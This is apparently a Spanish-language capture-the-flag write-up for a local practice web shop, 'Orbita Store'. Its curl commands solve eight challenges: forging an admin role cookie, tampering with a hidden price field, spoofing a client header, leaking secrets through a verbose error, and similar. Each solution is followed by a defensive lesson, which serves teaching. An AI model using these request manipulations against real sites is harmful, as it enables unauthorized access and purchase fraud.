Writeup — Orbita Store
Las salidas son reales, capturadas contra el contenedor desplegado (localhost:8282).
Reto 1 — Código fuente
Cliente★
Ver el código fuente de la página principal (Ctrl+U) o pedirla con curl:
$ curl -s localhost:8282/ | grep -o 'GO{[^}]*}' GO{el_html_tambien_habla}
Flag: GO{el_html_tambien_habla}
Lección: los comentarios de desarrollo llegan al cliente. Todo lo que está en el HTML lo puede leer cualquiera.
Reto 2 — JavaScript que delata rutas
Cliente★★
La página carga /static/app.js. Leyéndolo aparece una ruta que no se usa en ninguna pantalla:
$ curl -s localhost:8282/static/app.js | grep -n MANTENIMIENTO
4:const MANTENIMIENTO = "/api/interno/estado";$ curl -s localhost:8282/api/interno/estado {"estado":"ok","nota":"GO{el_javascript_delata_rutas}"}
Flag: GO{el_javascript_delata_rutas}
Lección: el JavaScript del cliente es documentación gratuita de la API, incluidos endpoints internos olvidados.
Reto 3 — Cookie de rol
Sesión★★
La aplicación entrega una cookie rol al entrar:
$ curl -si localhost:8282/ | grep -i set-cookie
Set-Cookie: rol=dXN1YXJpbw==; Path=/El valor es Base64, no cifrado. Decodificado es usuario. Se cambia por admin (Base64: YWRtaW4=) y se pide /mi-cuenta:
$ echo -n admin | base64; curl -s --cookie "rol=YWRtaW4=" localhost:8282/mi-cuenta | grep -o "GO{[^}]*}" YWRtaW4= GO{la_cookie_no_es_de_fiar}
Flag: GO{la_cookie_no_es_de_fiar}
Lección: Base64 es una codificación, no una protección. El rol debe vivir en el servidor, asociado a una sesión.
Reto 4 — Precio en un campo oculto
Formularios★★
En /tienda el formulario envía producto y precio como campos ocultos. Se reenvía la petición con otro precio:
$ curl -s -X POST -d "producto=1&precio=0" localhost:8282/comprar | grep -o "GO{[^}]*}" GO{el_precio_lo_manda_el_cliente}
Flag: GO{el_precio_lo_manda_el_cliente}
Lección: el servidor acepta el precio que le llega. Debe calcularlo él a partir del identificador del producto.
Reto 5 — Método HTTP
Métodos★★
Pedir /api/v1/usuarios con GET devuelve 405 y la cabecera Allow indica qué métodos acepta:
$ curl -si localhost:8282/api/v1/usuarios | sed -n '1p;/Allow/p'
HTTP/1.1 405 METHOD NOT ALLOWED
Allow: POST, OPTIONS$ curl -s -X POST localhost:8282/api/v1/usuarios {"nota":"GO{el_metodo_importa}","usuarios":["ana","luis"]}
Flag: GO{el_metodo_importa}
Lección: un 405 te dice qué métodos existen. Cambiar el método puede dar acceso a otra funcionalidad del mismo endpoint.
Reto 6 — Error verboso
Errores★
Enviar un valor inesperado provoca un 500 con la traza completa y el entorno:
$ curl -s "localhost:8282/api/v1/producto?id=abc" Traceback (most recent call last): File "/app/app.py", line 91, in producto return buscar(int(pid)) ValueError: invalid literal for int() with base 10: 'abc' --- entorno (depuracion activa) --- DB_URL=postgres://orbita@db.interno/orbita SECRETO_INTERNO=GO{los_errores_hablan_de_mas}
Flag: GO{los_errores_hablan_de_mas}
Lección: el modo depuración en producción filtra rutas, cadenas de conexión y secretos. Los errores al usuario deben ser genéricos.
Reto 7 — Cabecera requerida
Cabeceras★★
En los comentarios de app.js hay una pista: la app móvil envía la cabecera X-Cliente: movil a /api/soporte/canal. Sin ella:
$ curl -s localhost:8282/api/soporte/canal
{"error":"Cliente no autorizado"}$ curl -s -H "X-Cliente: movil" localhost:8282/api/soporte/canal {"canal":"soporte-movil","nota":"GO{la_cabecera_es_la_llave}"}
Flag: GO{la_cabecera_es_la_llave}
Lección: una cabecera que fija el cliente no autentica a nadie. Cualquiera puede enviarla.
Reto 8 — Pista en una redirección
Respuestas★★★
La ruta /ir redirige a /destino. El navegador sigue la redirección y solo enseña la página final, que no tiene nada. La respuesta intermedia sí lleva algo:
$ curl -si localhost:8282/ir | head -8 HTTP/1.1 302 FOUND Server: gunicorn Date: Tue, 29 Sep 2026 09:18:42 GMT Connection: keep-alive Content-Type: text/html; charset=utf-8 Content-Length: 203 Location: /destino X-Pista: GO{la_redireccion_esconde_pistas}
Flag: GO{la_redireccion_esconde_pistas}
Lección: las respuestas 3xx pueden llevar cabeceras y datos que el navegador nunca muestra. Un proxy o curl -i sin -L las enseña.
Resumen
| # | Debilidad | Herramienta |
|---|---|---|
| 1 | Comentarios en el HTML | Ver código fuente / curl |
| 2 | Endpoint interno en JavaScript | curl / DevTools |
| 3 | Rol en cookie manipulable | curl --cookie |
| 4 | Precio en campo oculto | curl -d |
| 5 | Método HTTP mal restringido | curl -X |
| 6 | Error con datos internos | curl |
| 7 | Control por cabecera | curl -H |
| 8 | Datos en respuesta 302 | curl -i |